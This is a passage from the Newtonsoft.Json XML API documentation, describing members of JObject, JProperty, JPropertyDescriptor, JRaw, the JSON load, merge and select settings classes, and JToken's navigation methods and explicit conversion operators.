otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.Remove(System.String)\">\n            <summary>\n            Removes the property with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <returns><c>true</c> if item was successfully removed; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.TryGetValue(System.String,Newtonsoft.Json.Linq.JToken@)\">\n            <summary>\n            Tries to get the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified property name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n            <param name=\"value\">The value.</param>\n            <returns><c>true</c> if a value was successfully retrieved; otherwise, <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.GetEnumerator\">\n            <summary>\n            Returns an enumerator that can be used to iterate through the collection.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Collections.Generic.IEnumerator`1\"/> that can be used to iterate through the collection.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JObject.OnPropertyChanged(System.String)\">\n            <summary>\n            Raises the <see cref=\"E:Newtonsoft.Json.Linq.JObject.PropertyChanged\"/> event with the provided arguments.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JProperty\">\n            <summary>\n            Represents a JSON property.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.ChildrenTokens\">\n            <summary>\n            Gets the container's children tokens.\n            </summary>\n            <value>The container's children tokens.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Name\">\n            <summary>\n            Gets the property name.\n            </summary>\n            <value>The property name.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Value\">\n            <summary>\n            Gets or sets the property value.\n            </summary>\n            <value>The property value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(Newtonsoft.Json.Linq.JProperty)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> object to copy from.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JProperty.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.#ctor(System.String,System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> class.\n            </summary>\n            <param name=\"name\">The property name.</param>\n            <param name=\"content\">The property content.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JProperty.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Loads a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\">\n            <summary>\n            Represents a view of a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\"/> class.\n            </summary>\n            <param name=\"name\">The name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.CanResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, returns whether resetting an object changes its value.\n            </summary>\n            <returns>\n            <c>true</c> if resetting the component changes its value; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component to test for reset capability.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.GetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, gets the current value of the property on a component.\n            </summary>\n            <returns>\n            The value of a property for a given component.\n            </returns>\n            <param name=\"component\">The component with the property for which to retrieve the value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, resets the value for this property of the component to the default value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be reset to the default value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.SetValue(System.Object,System.Object)\">\n            <summary>\n            When overridden in a derived class, sets the value of the component to a different value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be set.</param>\n            <param name=\"value\">The new value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ShouldSerializeValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted.\n            </summary>\n            <returns>\n            <c>true</c> if the property should be persisted; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component with the property to be examined for persistence.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.ComponentType\">\n            <summary>\n            When overridden in a derived class, gets the type of the component this property is bound to.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of component this property is bound to.\n            When the <see cref=\"M:System.ComponentModel.PropertyDescriptor.GetValue(System.Object)\"/> or\n            <see cref=\"M:System.ComponentModel.PropertyDescriptor.SetValue(System.Object,System.Object)\"/>\n            methods are invoked, the object specified might be an instance of this type.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.IsReadOnly\">\n            <summary>\n            When overridden in a derived class, gets a value indicating whether this property is read-only.\n            </summary>\n            <returns>\n            <c>true</c> if the property is read-only; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.PropertyType\">\n            <summary>\n            When overridden in a derived class, gets the type of the property.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of the property.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.NameHashCode\">\n            <summary>\n            Gets the hash code for the name of the member.\n            </summary>\n            <value></value>\n            <returns>\n            The hash code for the name of the member.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see 